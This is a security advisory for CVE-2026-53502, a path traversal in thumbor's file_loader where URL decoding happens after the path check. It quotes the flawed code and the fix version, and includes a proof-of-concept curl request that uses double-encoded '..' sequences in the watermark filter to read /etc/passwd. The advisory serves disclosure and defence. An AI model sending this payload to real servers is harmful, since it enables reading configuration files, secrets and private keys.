CVE-2026-53502 — thumbor
Fix: thumbor/thumbor@3b986d1CVE-2026-53502 is a Path Traversal vulnerability in thumbor. A fix is available for thumbor — see the affected versions and patch details below.
Thumbor has path traversal via post-validation URL decoding bypass in file_loader
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-53502.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
thumborReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
The file_loader performs unquote() on the file path AFTER the abspath() + startswith() security check. An attacker can use percent-encoded path traversal sequences (%2e%2e for ..) that pass the security check as literal directory names, but are then decoded to actual .. traversal sequences.
Affected code
thumbor/loaders/file_loader.py lines 28-49:
async def load(context, path):
file_path = join(
context.config.FILE_LOADER_ROOT_PATH.rstrip("/"), path.lstrip("/")
)
file_path = abspath(file_path)
inside_root_path = file_path.startswith( # Security check
abspath(context.config.FILE_LOADER_ROOT_PATH)
)
result = LoaderResult()
if not inside_root_path:
result.error = LoaderResult.ERROR_NOT_FOUND
result.successful = False
return result
if not exists(file_path):
file_path = unquote(file_path) # unquote AFTER check!
if exists(file_path) and isfile(file_path):
with open(file_path, "rb") as source_file:
...
The watermark and frame filters pass their URL parameters directly to the loader without re-encoding (unlike the main image URL flow which applies quote() in imaging.py line 37).
PoC
# Read /etc/passwd via watermark filter path traversal
# %252e is double-encoded: Tornado decodes to %2e, filter passes to file_loader,
# file_loader unquote decodes %2e to .
curl 'http://thumbor-host:8888/unsafe/filters:watermark(%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd,0,0,100)/some-valid-image.jpg'
Flow:
%252e%252earrives at Tornado, decoded to%2e%2e- Watermark filter passes
%2e%2e/%2e%2e/.../etc/passwdto file_loader join(ROOT, '%2e%2e/...')=ROOT/%2e%2e/...abspath()sees%2e%2eas literal dir name (no dots to resolve)startswith(ROOT)= True (passes check)exists()returns False (literal%2e%2edir doesn't exist)unquote()converts%2e%2eto..- OS resolves
..→ reads files outside ROOT
Prerequisites
LOADER = thumbor.loaders.file_loader(orfile_loader_http_fallback)ALLOW_UNSAFE_URL = True(this is the default)- watermark/frame filters are enabled by default (in BUILTIN_FILTERS)
Impact
Arbitrary file read on the thumbor server. When the file is a valid image format, its content is returned in the response overlaid as a watermark. Can be used to read configuration files, secrets, private keys, etc.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | thumbor | all versions | 7.8.0pip install --upgrade 'thumbor==7.8.0' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for thumbor, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update thumbor to 7.8.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-53502 is resolved across your whole dependency graph.
Workarounds
Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.
Frequently Asked Questions
Is CVE-2026-53502 in your dependencies?
Find it across PyPI, including transitive dependencies.